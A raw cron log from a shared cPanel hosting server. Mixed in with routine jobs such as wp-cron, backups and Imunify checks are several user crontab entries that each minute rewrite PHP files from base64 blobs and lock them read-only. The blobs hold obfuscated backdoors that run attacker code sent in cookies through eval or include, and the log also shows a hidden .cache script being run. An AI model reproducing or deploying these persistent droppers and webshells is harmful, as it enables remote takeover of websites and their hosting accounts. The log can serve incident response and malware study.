Mar  1 21:24:01 medusa CROND[27564]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:24:01 medusa CROND[27565]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:24:01 medusa CROND[27561]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 21:25:01 medusa CROND[9263]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 21:25:01 medusa CROND[9316]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:25:01 medusa CROND[9677]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 21:25:01 medusa CROND[9678]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 21:25:01 medusa CROND[9679]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:25:01 medusa CROND[9680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:25:01 medusa CROND[9685]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:25:01 medusa CROND[9684]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 21:25:01 medusa CROND[9689]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:25:01 medusa CROND[9690]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 21:25:01 medusa CROND[9686]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 21:25:01 medusa CROND[9691]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 21:25:01 medusa CROND[9694]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:25:01 medusa CROND[9688]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 21:25:01 medusa CROND[9701]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:25:01 medusa CROND[9703]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:25:01 medusa CROND[9709]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 21:25:01 medusa CROND[9710]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:25:01 medusa CROND[9712]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:25:02 medusa CROND[9731]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:25:02 medusa CROND[9708]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 21:25:02 medusa CROND[9728]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 21:26:02 medusa CROND[25559]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:26:02 medusa CROND[25664]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:26:02 medusa CROND[25724]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:26:02 medusa CROND[25727]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 21:26:02 medusa CROND[25729]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:26:02 medusa CROND[25726]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 21:26:02 medusa CROND[25730]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:26:02 medusa CROND[25723]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 21:26:02 medusa CROND[25731]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:26:02 medusa CROND[25733]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:26:02 medusa CROND[25732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:26:02 medusa CROND[25734]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:26:02 medusa CROND[25739]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:26:02 medusa CROND[25728]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
